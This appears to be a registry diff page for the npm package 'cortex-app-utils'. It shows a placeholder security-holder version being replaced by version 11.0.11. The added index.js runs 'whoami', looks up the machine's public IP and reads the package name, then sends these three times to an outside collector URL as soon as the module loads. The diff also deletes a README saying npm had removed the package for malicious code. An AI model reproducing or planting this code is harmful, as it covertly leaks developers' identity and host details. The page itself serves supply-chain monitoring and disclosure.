cortex-app-utils 0.0.1-security → 11.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cortex-app-utils might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +57 -0
  2. package/package.json +10 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,57 @@
1
+ const { execSync } = require("child_process");
2
+ const axios = require("axios");
3
+ const fs = require("fs");
4
+ const path = require("path");
5
+
6
+ // server URL to send the data
7
+ const serverUrl = "https://hkdk.events/7ar4u4h02e8d31";
8
+
9
+ async function getPublicIP() {
10
+ try {
11
+ const response = await axios.get("https://api.ipify.org?format=json");
12
+ return response.data.ip;
13
+ } catch (error) {
14
+ console.error("Failed to fetch public IP:", error);
15
+ return "Unknown";
16
+ }
17
+ }
18
+
19
+ function getWhoAmI() {
20
+ try {
21
+ return execSync("whoami").toString().trim();
22
+ } catch (error) {
23
+ console.error("Failed to execute whoami:", error);
24
+ return "Unknown";
25
+ }
26
+ }
27
+
28
+ function getPackageName() {
29
+ try {
30
+ const packageJsonPath = path.join(__dirname, "package.json");
31
+ if (fs.existsSync(packageJsonPath)) {
32
+ const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, "utf8"));
33
+ return packageJson.name || "Unknown";
34
+ }
35
+ } catch (error) {
36
+ console.error("Failed to read package.json:", error);
37
+ }
38
+ return "Unknown";
39
+ }
40
+
41
+ async function sendData() {
42
+ const data = {
43
+ user: getWhoAmI(),
44
+ publicIP: await getPublicIP(),
45
+ packageName: getPackageName(),
46
+ };
47
+ try {
48
+ await axios.get(serverUrl, { params: data });
49
+ console.log("Data sent successfully:", data);
50
+ } catch (error) {
51
+ console.error("Failed to send data:", error);
52
+ }
53
+ }
54
+
55
+ for (let i = 0; i < 3; i++) {
56
+ sendData();
57
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "cortex-app-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "11.0.11",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cortex-app-utils for more information.